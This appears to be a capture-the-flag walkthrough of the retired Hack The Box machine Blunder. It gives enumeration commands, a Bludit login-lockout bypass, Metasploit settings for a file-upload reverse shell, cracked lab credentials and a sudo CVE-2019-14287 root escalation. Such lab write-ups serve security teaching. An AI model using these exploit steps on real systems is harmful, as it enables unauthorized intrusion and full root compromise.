Hack The Box · Linux Machine
Blunder
| Name | Blunder |
|---|---|
| Release date | 30 May 2020 |
| Retire date | 17 Oct 2020 |
| OS | Linux |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| Creator | egotisticalSW |
| Pentest Workshop PDF | Blunder.pdf |
Bludit enumeration
Gobuster identified the Bludit administration page and todo.txt, which disclosed the likely username fergus. The site ran Bludit 3.9.2 and enforced a login lockout.
gobuster dir -u http://10.10.10.191 \
-w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php
cewl 10.10.10.191 > wordlist.txt
Lockout bypass and file upload
CVE-2019-17240 was used by rotating the X-Forwarded-For value during password attempts. The generated wordlist recovered fergus:RolandDeschain. The authenticated Bludit upload exploit then returned a Meterpreter session.
use exploit/linux/http/bludit_upload_images_exec
set BLUDITUSER fergus
set BLUDITPASS RolandDeschain
set RHOSTS 10.10.10.191
set LHOST <TUN0-IP>
runHugo credentials
A second Bludit installation contained users.php with Hugo's SHA-1 password hash. The value cracked to Password120, permitting a shell as hugo.
faca404fd5c0a31cf1897b823c695c85cffeb98d
Password120
Sudo bypass
The host used sudo 1.8.25p1 and was vulnerable to CVE-2019-14287. Supplying user ID -1 bypassed the sudoers restriction and produced a root shell.
sudo --version
sudo -u#-1 /bin/bash